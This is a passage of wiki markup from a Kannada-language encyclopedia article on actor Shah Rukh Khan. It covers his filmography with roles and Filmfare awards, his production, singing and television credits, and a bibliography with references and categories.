ಪ್ರಸಾರವಾಗಿತ್ತು.<ref>{{cite web |last= Venkatraman |first= Deepa |title= Track record |url= http://www.expressindia.com/latest-news/Track-record/317469/ |date= 2 June 2008 |work= The Indian Express |publisher= Expressindia.com |accessdate= 27 August 2009 |archive-date= 14 ಅಕ್ಟೋಬರ್ 2012 |archive-url= https://web.archive.org/web/20121014185836/http://www.expressindia.com/latest-news/Track-record/317469/ |url-status= dead }}</ref> == ಪ್ರಶಸ್ತಿಗಳು ಮತ್ತು ನಾಮನಿರ್ದೇಶನಗಳು == {{main|List of Shahrukh Khan's awards and nominations}} == ಚಲನಚಿತ್ರಗಳ ಪಟ್ಟಿ == === ನಟ === {| border="2" cellpadding="4" cellspacing="0" style="margin:1em 1em 1em 0;background:#f9f9f9;border:1px #aaa solid;border-collapse:collapse;font-size:95%" |- bgcolor="#CCCCCC" align="center" !ವರ್ಷ !ಶೀರ್ಷಿಕೆ !ಪಾತ್ರ !ಟಿಪ್ಪಣಿಗಳು |- | rowspan="5"| ೧೯೯೨ | ''[[ದೀವಾನಾ]]'' | ರಾಜಾ ಸಹಾಯ್‌ | '''ವಿಜೇತ''' , [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ಪುರುಷ ಪರಿಚಯ ಪ್ರಶಸ್ತಿ]] |- | ''[[ಈಡಿಯಟ್‌ (1992ರ ಚಿತ್ರ)|ಈಡಿಯಟ್‌]]'' | ಪವನ್‌ ರಘುಜನ್ | |- | ''[[ಚಮತ್ಕಾರ್‌|ಚಮತ್ಕಾರ್]]'' | ಸುಂದರ್ ಶ್ರೀವಾಸ್ತವ | |- | ''[[ರಾಜು ಬನ್‌ ಗಯಾ ಜಂಟಲ್‌ಮನ್‌]]'' | ರಾಜು (ರಾಜ್‌ ಮಾಥುರ್‌) | |- | ''[[ದಿಲ್‌ ಆಶ್‌ನಾ ಹೈ]]'' | ಕರಣ್ | |- | rowspan="5"| ೧೯೯೩ | ''[[ಮಾಯಾ ಮೇಮ್‌ಸಾಬ್‌]]'' | ಲಲಿತ್‌ ಕುಮಾರ್‌ | |- | ''[[ಕಿಂಗ್‌ ಅಂಕಲ್‌]]'' | ಅನಿಲ್‌ ಭನ್ಸಾಲ್ | |- | ''[[ಬಾಜಿಗರ್]]'' | ಅಜಯ್‌ ಶರ್ಮ/ವಿಕಿ ಮಲ್ಹೋತ್ರಾ | '''ವಿಜೇತ''' , [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | ''[[ಡರ್‌]]'' | ರಾಹುಲ್‌ ಮೆಹ್ರಾ | ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ಖಳನಾಯಕ ಪ್ರಶಸ್ತಿ]] |- | ''[[ಕಭೀ ಹಾ ಕಭೀ ನಾ]]'' | ಸುನಿಲ್‌ | '''ವಿಜೇತ''' , [[ಅತ್ಯುತ್ತಮ ನಟನೆಗಾಗಿ ಫಿಲ್ಮ್‌ಫೇರ್ ಕ್ರಿಟಿಕ್ಸ್‌ ಪ್ರಶಸ್ತಿ|ಅತ್ಯುತ್ತಮ ನಟನೆ/ಸಾಧನೆಗೆ ಫಿಲ್ಮ್‌ಫೇರ್ ಕ್ರಿಟಿಕ್ಸ್‌ ಪ್ರಶಸ್ತಿ]] <br />ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | ೧೯೯೪ | ''[[ಅಂಜಾಮ್]]'' | ವಿಜಯ್‌ ಅಗ್ನಿಹೋತ್ರಿ | '''ವಿಜೇತ''' , [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ಖಳನಾಯಕಿ ಪ್ರಶಸ್ತಿ|ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ಖಳನಾಯಕ ಪ್ರಶಸ್ತಿ]] |- | rowspan="7"| ೧೯೯೫ | ''[[ಕರಣ್‌ ಅರ್ಜುನ್‌]]'' | ಅರ್ಜುನ್‌ ಸಿಂಗ್‌/ವಿಜಯ್ | |- | ''[[ಜಮಾನಾ ದೀವಾನಾ]]'' | ರಾಹುಲ್‌ ಮಲ್ಹೋತ್ರಾ | |- | ''[[ಗುಡ್ಡು]]'' | ಗುಡ್ಡು ಬಹಾದುರ್ | |- | ''[[ಓಹ್‌ ಡಾರ್ಲಿಂಗ್‌! ಯೇ ಹೈ ಇಂಡಿಯಾ|ಓಹ್‌ ಡಾರ್ಲಿಂಗ್‌!]]'' ''[[ಓಹ್‌ ಡಾರ್ಲಿಂಗ್‌! ಯೇ ಹೈ ಇಂಡಿಯಾ|ಯೇ ಹೈ ಇಂಡಿಯಾ]]'' | ಹೀರೋ | |- | ''[[ದಿಲ್‌ವಾಲೆ ದುಲ್ಹನಿಯಾ ಲೇ ಜಾಯೆಂಗೆ]]'' | ರಾಜ್‌ ಮಲ್ಹೋತ್ರಾ | '''ವಿಜೇತ''' , [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | ''[[ರಾಮ್‌ ಜಾನೆ]]'' | ರಾಮ್‌ ಜಾನೆ | |- | ''[[ತ್ರಿಮೂರ್ತಿ (ಚಿತ್ರ)|ತ್ರಿಮೂರ್ತಿ]]'' | ರೋಮಿ ಸಿಂಗ್‌ | |- | rowspan="4"| ೧೯೯೬ | ''[[ಇಂಗ್ಲಿಷ್‌ ಬಾಬು ದೇಸಿ ಮೇಮ್‌|ಇಂಗ್ಲಿಷ್‌ ಬಾಬು ದೇಸಿ ಮೇಮ್]]'' | ವಿಕ್ರಮ್‌/ಹರಿ/ಗೋಪಾಲ್‌ ಮಯೂರ್ | |- | ''[[ಚಾಹತ್‌]]'' | ರೂಪ್‌ ರಾಥೋಡ್‌ | |- | ''[[ಆರ್ಮಿ (ಚಿತ್ರ)|ಆರ್ಮಿ]]'' | ಅರ್ಜುನ್ | ವಿಶೇಷ ಪಾತ್ರ |- | ''[[ದುಶ್ಮನ್‌ ದುನಿಯಾ ಕಾ]]'' | ಬದ್ರು | |- | rowspan="5"| ೧೯೯೭ | ''[[ಗುದ್ಗುದೀ]]'' | | ವಿಶೇಷ ಪಾತ್ರ |- | ''[[ಕೋಯ್ಲಾ]]'' | ಶಂಕರ್ | |- | ''[[ಯಸ್‌ ಬಾಸ್‌]]'' | ರಾಹುಲ್‌ ಜೋಷಿ | ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | ''[[ಪರ್ದೇಸ್ (ಚಿತ್ರ)|ಪರ್ದೇಸ್‌]]'' | ಅರ್ಜುನ್‌ ಸಾಗರ್ | |- | ''[[ದಿಲ್‌ ತೊ ಪಾಗಲ್‌ ಹೈ]]'' | ರಾಹುಲ್ | '''ವಿಜೇತ''' , [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | rowspan="4"| ೧೯೯೮ | ''[[ಡ್ಯುಪ್ಲಿಕೇಟ್ (ಚಿತ್ರ)|ಡ್ಯುಪ್ಲಿಕೇಟ್‌]]'' | ಬಬ್ಲು ಚೌಧರಿ/ಮನು ದಾದಾ | ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ಖಳನಾಯಕ ಪ್ರಶಸ್ತಿ|ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ಖಳನಟ ಪ್ರಶಸ್ತಿ]] |- | ''[[ಅಚಾನಕ್‌]]'' | ತಮ್ಮದೇ ನಿಜಜೀವನದ ಪಾತ್ರ | ವಿಶೇಷ ಪಾತ್ರ |- | ''[[ದಿಲ್‌ ಸೇ]]'' | ಅಮರ್‌ಕಾಂತ್‌ ವರ್ಮಾ | |- | ''[[ಕುಚ್‌ ಕುಚ್‌ ಹೋತಾ ಹೈ]]'' | ರಾಹುಲ್‌ ಖನ್ನಾ | '''ವಿಜೇತ''' , [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | ೧೯೯೯ | ''[[ಬಾದ್‌ಷಾ]]'' | ರಾಜ್‌ ಹೀರಾ /ಬಾದ್‌ಷಾ | ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ಹಾಸ್ಯನಟ ಪ್ರಶಸ್ತಿ]] |- | rowspan="6"| ೨೦೦೦ | ''[[ಫಿರ್ ಬಿ ದಿಲ್‌ ಹೈ ಹಿಂದೂಸ್ತಾನಿ]]'' | ಅಜಯ್‌ ಭಕ್ಷಿ | |- | ''[[ಹೇ ರಾಮ್‌]]'' | ಅಮ್ಜದ್‌ ಅಲಿ ಖಾನ್ | |- | ''[[ಜೋಷ್ (2000ರ ಚಿತ್ರ)|ಜೋಷ್‌]]'' | ಮ್ಯಾಕ್ಸ್ | |- | ''[[ಹರ್‌ ದಿಲ್‌ ಜೋ ಪ್ಯಾರ್‌ ಕರೇಗಾ]]'' | ರಾಹುಲ್‌ | ವಿಶೇಷ ಪಾತ್ರ |- | ''[[ಮೊಹಬ್ಬತೇ]]'' | ರಾಜ್‌ ಆರ್ಯನ್ ಮಲ್ಹೋತ್ರಾ | '''ವಿಜೇತ''' , [[ಅತ್ಯುತ್ತಮ ನಟನೆಗಾಗಿ ಫಿಲ್ಮ್‌ಫೇರ್ ಕ್ರಿಟಿಕ್ಸ್‌ ಪ್ರಶಸ್ತಿ|ಅತ್ಯುತ್ತಮ ನಟನೆಗೋಸ್ಕರ ಫಿಲ್ಮ್‌ಫೇರ್ ಕ್ರಿಟಿಕ್ಸ್‌ ಪ್ರಶಸ್ತಿ]] <br />ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | ''[[ಗಜಗಾಮಿನಿ]]'' | ತಮ್ಮದೇ ನಿಜಜೀವನದ ಪಾತ್ರ | ವಿಶೇಷ ಪಾತ್ರ |- | rowspan="3"| ೨೦೦೧ | ''[[ಒನ್‌ 2 ಕಾ 4]]'' | ಅರುಣ್‌ ವರ್ಮಾ | |- | ''[[ಅಶೋಕ (2001ರ ಚಿತ್ರ)|ಅಶೋಕ]]'' | ಅಶೋಕ | |- | ''[[ಕಭೀ ಖುಷಿ ಕಭೀ ಗಮ್‌]]'' | ರಾಹುಲ್‌ ರಾಯ್‌ಚಂದ್‌ | ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | rowspan="4"|೨೦೦೨ | ''[[ಹಮ್‌ ತುಮಾರೆ ಹೇ ಸನಮ್‌]]'' | ಗೋಪಾಲ್‌ | |- | ''[[ದೇವದಾಸ್‌‌ (2002ರ ಚಿತ್ರ)|ದೇವದಾಸ್‌]]'' | ದೇವದಾಸ್‌ ಮುಖರ್ಜಿ | '''ವಿಜೇತ''' , [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | ''[[ಶಕ್ತಿ (2002ರ ಚಿತ್ರ)|ಶಕ್ತಿ: ದಿ ಪವರ್‌]]'' | ಜೈಸಿಂಗ್ | ವಿಶೇಷ ಪಾತ್ರ |- | ''[[ಸಾಥಿಯಾ]]'' | ಯಶವಂತ್‌ ರಾವ್‌ | ಕಿರುಪಾತ್ರ |- | rowspan="2"|೨೦೦೩ | ''[[ಚಲ್ತೇ ಚಲ್ತೇ (2003ರ ಚಿತ್ರ)|ಚಲ್ತೇ ಚಲ್ತೇ]]'' | ರಾಜ್‌ ಮಾಥುರ್‌ | |- | ''[[ಕಲ್‌ ಹೋ ನಾ ಹೋ]]'' | ಅಮನ್‌ ಮಾಥುರ್‌ | ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | rowspan="4"|೨೦೦೪ | ''[[ಯೇ ಲಮ್ಹೇ ಜುದಾಯಿ ಕೇ]] '' | ದುಷಂತ್ | |- | ''[[ಮೈ ಹೂ ನಾ]]'' | Maj. ರಾಮ್‌ ಪ್ರಸಾದ್‌ ಶರ್ಮಾ | ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | ''[[ವೀರ್-ಝಾರಾ]]'' | ವೀರ್ ಪ್ರತಾಪ್‌ ಸಿಂಗ್‌ | ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | ''[[ಸ್ವದೇಶ್‌]]'' | ಮೋಹನ್‌ ಭಾರ್ಗವ | '''ವಿಜೇತ''' , [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | rowspan="5"|೨೦೦೫ | ''[[ಕುಚ್‌ ಮೀಠಾ ಹೋ ಜಾಯೆ]]'' | ತಮ್ಮದೇ ನಿಜಜೀವನದ ಪಾತ್ರ | ವಿಶೇಷ ಪಾತ್ರ |- | ''[[ಕಾಲ್ (2005ರ ಚಿತ್ರ)|ಕಾಲ್‌]]'' | | ''ಕಾಲ್‌ ಧಮಾಲ್‌'' ಎಂಬ ಹಾಡಿನಲ್ಲಿ ವಿಶೇಷಪಾತ್ರದಲ್ಲಿ |- | ''[[ಸಿಲ್‌ಸಿಲೇ]]'' | ಸೂತ್ರಧಾರ್ | ''ಜಬ್‌ ಜಬ್‌ ದಿಲ್‌ ಮಿಲೇ'' ಎಂಬ ಹಾಡಿನಲ್ಲಿ ವಿಶೇಷಪಾತ್ರದಲ್ಲಿ |- | ''[[ಪಹೇಲಿ]]'' | ಕಿಶೆನ್‌ಲಾಲ್‌/ದ ಘೋಸ್ಟ್‌ | |- | ''[[ದ ಇನ್ನರ್ ಅಂಡ್‌ ಔಟರ್ ವರ್ಲ್ಡ್‌ ಆಫ್‌ ಷಾಹ್‌ ರುಖ್‌ ಖಾನ್‌|ದ ಇನ್ನರ್‌ ಅಂಡ್‌ ಔಟರ್‌ ವರ್ಲ್ಡ್‌ ಆಫ್‌ ಷಾಹ್‌ ರುಖ್‌ ಖಾನ್]]'' | ತಮ್ಮದೇ ನಿಜಜೀವನದ ಪಾತ್ರ (ಆತ್ಮಚರಿತ್ರೆ) | ಬ್ರಿಟಿಷ್‌ ಮೂಲದ ಲೇಖಕ ಮತ್ತು ನಿರ್ದೇಶಕ [[ನಸ್ರೀನ್‌ ಮುನ್ನಿ ಕಬೀರ್‌]]‌ರಿಂದ ನಿರ್ದೇಶಿತ |- | rowspan="4"|೨೦೦೬ | ''[[ಅಲಗ್]]'' | | ಸಬಸೆ ಅಲಗ್ ಹಾಡಿನಲ್ಲಿ ವಿಶೇಷ ಪಾತ್ರ |- | ''[[ಕಭೀ ಅಲ್ವಿದಾ ನಾ ಕೆಹೆನಾ]]'' | ದೇವ್‌ ಸರನ್‌ | ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | ''[[ಡಾನ್ - ದಿ ಚೇಸ್ ಬಿಗಿನ್ಸ್‌ ಎಗೇನ್]]'' | ವಿಜಯ್‌/ಡಾನ್ | ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]]<br />ನಾಮಾಂಕಿತ, [[ಏಷ್ಯನ್‌ ಚಿತ್ರಗಳ ಪ್ರಶಸ್ತಿಗಳು|ಏಷ್ಯಾದ ಚಿತ್ರಪ್ರಶಸ್ತಿಗಳಲ್ಲಿ]] ಅತ್ಯುತ್ತಮ ನಟ |- | ''[[ಐ ಸೀ ಯು]]'' | | ''ಸುಬಹ್‌ ಸುಬಹ್‌'' ಎಂಬ ಹಾಡಿನಲ್ಲಿ ವಿಶೇಷಪಾತ್ರದಲ್ಲಿ |- | rowspan="3"|೨೦೦೭ | ''[[ಚಕ್‌ ದೇ ಇಂಡಿಯಾ]]'' | ಕಬೀರ್‌ ಖಾನ್ | '''ವಿಜೇತ''' , [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | ''[[ಹೇ ಬೇಬಿ]]'' | ರಾಜ್‌ ಮಲ್ಹೋತ್ರಾ | ''ಮಸ್ತ್‌ ಕಲಂದರ್'' ಎಂಬ ಹಾಡಿನಲ್ಲಿ ವಿಶೇಷಪಾತ್ರದಲ್ಲಿ |- | ''[[ಓಂ ಶಾಂತಿ ಓಂ (ಚಲನಚಿತ್ರ)|ಓಂ ಶಾಂತಿ ಓಂ]]'' | ಓಂ ಪ್ರಕಾಶ್‌ ಮಖೀಜಾ/ಓಂ ಕಪೂರ್‌ | ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | rowspan="3"|೨೦೦೮ | ''[[ಕ್ರೇಜಿ 4]]'' | | ''ಬ್ರೇಕ್‌ ಫ್ರೀ '' ಎಂಬ ಹಾಡಿನಲ್ಲಿ ವಿಶೇಷಪಾತ್ರದಲ್ಲಿ |- | ''[[ಭೂತ್‌ನಾಥ್‌|ಭೂತ್‌ನಾಥ್]]'' | ಆದಿತ್ಯ ಶರ್ಮಾ | ವಿಶೇಷ ಪಾತ್ರ |- | ''[[ರಬ್‌ ನೇ ಬನಾದಿ ಜೋಡೀ]]'' | ಸುರೀಂರ್‌ ಸಾಹ್ನಿ/ರಾಜ್‌ | ನಾಮಾಂಕಿತ, [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] |- | rowspan="3"|೨೦೦೯ | ''[[ಲಕ್‌ ಬೈ ಚಾನ್ಸ್‌]]'' | ತಮ್ಮದೇ ನಿಜಜೀವನದ ಪಾತ್ರ | ವಿಶೇಷ ಪಾತ್ರ |- | ''[[ಬಿಲ್ಲು]]'' | ಸಾಹಿರ್‌ ಖಾನ್ | |- | ''[[ದುಲ್ಹಾ ಮಿಲ್‌ ಗಯಾ]]'' | | ನಿರ್ಮಾಣಹಂತದ ಕೊನೆಯಲ್ಲಿದೆ<ref name="release">{{cite web|url=http://www.bbc.co.uk/shropshire/content/articles/2009/01/16/bollywood_news_dulha_mil_feature.shtml|title=Dulha Mil Gaya nearing completion}}</ref> |- | rowspan="2"|೨೦೧೦ | ''[[ಮೈ ನೇಮ್‌ ಈಸ್‌ ಖಾನ್‌]]'' | ರಿಜ್ವಾನ್‌ ಖಾನ್ | * * # |- | ''[[ಕೂಚಿ ಕೂಚಿ ಹೋತಾ ಹೈಂ]]'' | ರಾಕಿ | ಚಿತ್ರೀಕರಣಮುಗಿದಿದೆ. |} === ನಿರ್ಮಾಪಕ === * ''[[ಫಿರ್ ಬಿ ದಿಲ್‌ ಹೈ ಹಿಂದೂಸ್ತಾನಿ]]'' (೨೦೦೦) * ''[[ಅಶೋಕ (2001ರ ಚಿತ್ರ)|ಅಶೋಕ]]'' (೨೦೦೧) * ''[[ಚಲ್ತೇ ಚಲ್ತೇ (2003ರ ಚಿತ್ರ)|ಚಲ್ತೇ ಚಲ್ತೇ]]'' (೨೦೦೩) * ''[[ಮೈ ಹೂ ನಾ]]'' (೨೦೦೪) * ''[[ಕಾಲ್ (2005ರ ಚಿತ್ರ)|ಕಾಲ್‌]]'' (೨೦೦೫) * ''[[ಪಹೇಲಿ]]'' (೨೦೦೫) * ''[[ಓಂ ಶಾಂತಿ ಓಂ (ಚಿತ್ರ)|ಓಂ ಶಾಂತಿ ಓಂ]]'' (೨೦೦೭) * ''[[ಬಿಲ್ಲು]]'' (೨೦೦೯) === ಹಿನ್ನೆಲೆ ಗಾಯಕ === * ''ಮೈ ತೊ ಹೂ ಪಾಗಲ್‌'' - ''[[ಬಾದ್‌ಷಾ]]'' (೧೯೯೯) * ''ಅಪುನ್‌ ಬೋಲಾ '' - ''[[ಜೋಷ್ (2000ರ ಚಿತ್ರ)|ಜೋಷ್]]'' (೨೦೦೦) * ''ಖಯೀಕೆ ಪಾನ್‌ ಬನಾರಸ್‌ವಾಲಾ '' - ''[[ಡಾನ್ - ದಿ ಚೇಸ್ ಬಿಗಿನ್ಸ್‌ ಎಗೇನ್|ಡಾನ್‌ - ದ ಚೇಸ್‌ ಬಿಗಿನ್ಸ್‌ ಎಗೇನ್‌]]'' (೨೦೦೬) * ''ಏಕ್‌ ಹಾಕಿ ದೂಂಗಿ ರಖ್‌ಕೇ '' - ''[[ಚಕ್‌ ದೇ ಇಂಡಿಯಾ]]'' (೨೦೦೭) * ''ಸತ್ತರ್‌ ಮಿನಟ್‌ '' - '' [[ಚಕ್‌ ದೇ ಇಂಡಿಯಾ]]'' (೨೦೦೭) === ಸಾಹಸ ನಿರ್ದೇಶನ === * ''[[ಕುಚ್‌ ಕುಚ್‌ ಹೋತಾ ಹೈ]]'' (೧೯೯೮) * ''[[ಮೈ ಹೂ ನಾ]]'' (೨೦೦೪) * ''[[ಕಭೀ ಅಲ್ವಿದಾ ನಾ ಕೆಹೆನಾ]]'' (೨೦೦೬) * ''[[ಚಕ್‌ ದೇ ಇಂಡಿಯಾ]]'' (೨೦೦೭) * ''[[ಓಂ ಶಾಂತಿ ಓಂ (ಚಿತ್ರ)|ಓಂ ಶಾಂತಿ ಓಂ]]'' (೨೦೦೭) === ಕಿರುತೆರೆಯ ಕಾರ್ಯಕ್ರಮಗಳು === * ''ದಿಲ್‌ ದರಿಯಾ '' (೧೯೮೮) * ''[[ಫೌಜಿ]]'' (೧೯೮೮)&nbsp;... ಅಭಿಮನ್ಯು ರಾಯ್‌ * ''[[ದೂಸ್ರಾ ಕೇವಲ್‌]]'' (೧೯೮೯) * ''ಸರ್ಕಸ್'' (೧೯೮೯) * ''[[ಇನ್‌ ವಿಚ್‌ ಆನ್ನಿ ಗಿವ್ಸ್‌ ಇಟ್‌ ದೋಸ್‌ ಒನ್ಸ್‌]]'' (೧೯೮೯) * ''[[ಈಡಿಯಟ್‌ (1992ರ ಚಿತ್ರ)|ಈಡಿಯಟ್‌]]'' (೧೯೯೧)&nbsp;... ಪವನ್‌ ರಘುಜನ್ * ''[[ಕರೀನಾ ಕರೀನಾ]]'' (೨೦೦೪)&nbsp;... ವಿಶೇಷ ಪಾತ್ರ * ''ರೆಂಡಿವೂ ವಿತ್‌ [[ಸಿಮಿ ಗರೆವಾಲ್‌]]'' .....ಅತಿಥಿ * ''[[ಕಾಫೀ ವಿತ್‌ ಕರಣ್‌]]'' (೨೦೦೪-೨೦೦೭)&nbsp;... ಅತಿಥಿ (3 ಕಂತುಗಳು) * ''[[ಕೌನ್‌ ಬನೇಗಾ ಕರೋಡಪತಿ]]'' (೨೦೦೭)&nbsp;... ನಿರೂಪಕ * '' [[ಜ್ಹೂಂ ಇಂಡಿಯಾ|ಜ್ಹೂಮ್‌ ಇಂಡಿಯಾ]]'' (೨೦೦೭)&nbsp;... ಅತಿಥಿ * ''[[ನಾಚ್‌ ಬಲಿಯೇ]]'' (೨೦೦೮) .... ಅತಿಥಿ * ''[[ಕ್ಯಾ ಆಪ್‌ ಪಾಂಚ್‌ ವೀ ಪಾಸ್‌ ಸೇ ತೇಜ್‌ ಹೈಂ?]]'' (೨೦೦೮) .... ನಿರೂಪಕ == ವಿವರಗಳಿಗಾಗಿ ನೋಡಿ == * [[ಭಾರತೀಯ ನಟರ ಪಟ್ಟಿ]] * [[ಮೈ ನೇಮ್‌ ಈಸ್‌ ಖಾನ್‌#ನ್ಯೂಯಾರ್ಕ್‌ ವಿಮಾನನಿಲ್ದಾಣದ ಘಟನೆ|ನ್ಯೂಯಾರ್ಕ್‌ ವಿಮಾನನಿಲ್ದಾಣ ಘಟನೆ]] == ಕಾರ್ಯಗಳು/ಕೃತಿಗಳು == * [[ನಸ್ರೀನ್‌ ಮುನ್ನಿ ಕಬೀರ್‌]]. ''[[ದ ಇನ್ನರ್ ಅಂಡ್‌ ಔಟರ್ ವರ್ಲ್ಡ್‌ ಆಫ್‌ ಷಾಹ್‌ ರುಖ್‌ ಖಾನ್‌|ದ ಇನ್ನರ್‌ ಅಂಡ್‌ ಔಟರ್ ವರ್ಲ್ಡ್‌ ಆಫ್‌ ಷಾಹ್‌ ರುಖ್‌ ಖಾನ್]]'' (ಸಾಕ್ಷ್ಯಚಿತ್ರ, 2005). * ''ಶಾರುಖ್‌ ಖಾನ್ - ಸ್ಟಿಲ್‌ ರೀಡಿಂಗ್‌ ಖಾನ್‌'' . A1ಬುಕ್ಸ್‌ ವಿತರಕರು ೨೦೦೭. ISBN 978-81-87107-79-8. * ಗಹ್ಲೋಟ್‌, ದೀಪಾ; ಅಗರ್ವಾಲ್‌, ಅಮಿತ್‌. ''ಕಿಂಗ್‌ ಖಾನ್ SRK'' . ಆಗ್ಸ್‌ಬರ್ಗ್‌ ವೆಲ್ಟ್‌ಬಿಲ್ಡ್‌ ೨೦೦೭. ISBN 978-3-8289-8869-9. * ಘೋಷ್‌, ಬಿಸ್ವದೀಪ್‌. ''ಹಾಲ್‌ ಆಫ್‌ ಫೇಂ: ಶಾರುಖ್‌ ಖಾನ್ '' (ಆಂಗ್ಲದಲ್ಲಿ). [[ಮುಂಬಯಿ]]: ಮ್ಯಾಗ್ನಾ ಬುಕ್ಸ್, ೨೦೦೪. ISBN 81-7809-237-9. * ಛೋಪ್ರಾ/ಚೋಪ್ರಾ, ಅನುಪಮ. ''ಕಿಂಗ್‌ ಆಫ್‌ ಬಾಲಿವುಡ್‌ : ಷಾಹ್‌ ರುಖ್‌ ಖಾನ್ ಅಂಡ್‌ ದ ಸೆಡಕ್ಟಿವ್‌ ವರ್ಲ್ಡ್‌ ಆಫ್‌ ಇಂಡಿಯನ್‌ ಸಿನೆಮಾ '' (ಆಂಗ್ಲ). ನ್ಯೂಯಾರ್ಕ್: ವಾರ್ನರ್‌ ಬುಕ್ಸ್‌, 2007. ISBN 978-0-446-57858-5. == ಟಿಪ್ಪಣಿಗಳು == {{reflist|3}} == ಹೊರಗಿನ ಕೊಂಡಿಗಳು == {{Commonscat|Shahrukh Khan}} * {{imdb name|id=0451321}} {{Wikiquote}} {{FilmfareBestActorAward}} [[:pnb:شاہ رخ خان|pnb:شاہ رخ خان]] {{Persondata |NAME=Khan, Shahrukh |ALTERNATIVE NAMES= Shah Rukh Khan, SRK |SHORT DESCRIPTION=Film actor |DATE OF BIRTH=2 November 1965 |PLACE OF BIRTH=New Delhi, India |DATE OF DEATH= |PLACE OF DEATH= }} {{DEFAULTSORT:Khan, Shahrukh}} [[ವರ್ಗ:ಚಿತ್ರರಂಗ]] [[ವರ್ಗ:ಬಾಲಿವುಡ್]] [[ವರ್ಗ:ಸಿನಿಮಾ ತಾರೆಗಳು]] [[ವರ್ಗ:ಜಾಮಿಯಾ ಮಿಲಿಯಾ ಇಸ್ಲಾಮಿಯಾ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿ]] [[ವರ್ಗ:ಹಿಂದಿ ಚಲನಚಿತ್ರ ನಟರು]] [[ವರ್ಗ:ಭಾರತೀಯ ಚಲನಚಿತ್ರ ನಟರು]] [[ವರ್ಗ:ಭಾರತೀಯ ಕಿರುತೆರೆ ನಟರು]] [[ವರ್ಗ:ಭಾರತೀಯ ಚಿತ್ರನಿರ್ಮಾಪಕರು]] [[ವರ್ಗ:ಭಾರತೀಯ ಹಾಡುಗಾರರು]] [[ವರ್ಗ:ಭಾರತೀಯ ನಟರು]] [[ವರ್ಗ:ಭಾರತೀಯ ಕಿರುತೆರೆ ನಿರೂಪಕರು]] [[ವರ್ಗ:ಫಿಲ್ಮ್‌ಫೇರ್ ಪ್ರಶಸ್ತಿಗಳ ವಿಜೇತರು]] [[ವರ್ಗ:ಪದ್ಮಶ್ರೀ ವಿಜೇತರು/ಪುರಸ್ಕೃತರು]] [[ವರ್ಗ:ಭಾರತೀಯ ಮುಸ್ಲಿಮರು]] [[ವರ್ಗ:ಪುಷ್ಟುನ್‌ ಜನರು]] [[ವರ್ಗ:1965ರ ಜನನಗಳು]] [[ವರ್ಗ:ಬದುಕುಳಿದಿರುವ ಜನರು]] [[ವರ್ಗ:ದೆಹಲಿಯ ಜನರು]] [[ವರ್ಗ:ದೆಹಲಿ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಹಳೆಯ ವಿದ್ಯಾರ್ಥಿ]] [[ವರ್ಗ:ಇಂಡಿಯನ್‌ ಪ್ರೀಮಿಯರ್‌ ಲೀಗ್‌ ಫ್ರಾಂಚೈಸಿ ಮಾಲಿಕರು]] [[ವರ್ಗ:ಆರ್ಡ್ರೆ ಡೆಸ್‌ ಆರ್ಟ್ಸ್‌ ಎಟ್‌ ಡೆಸ್‌ 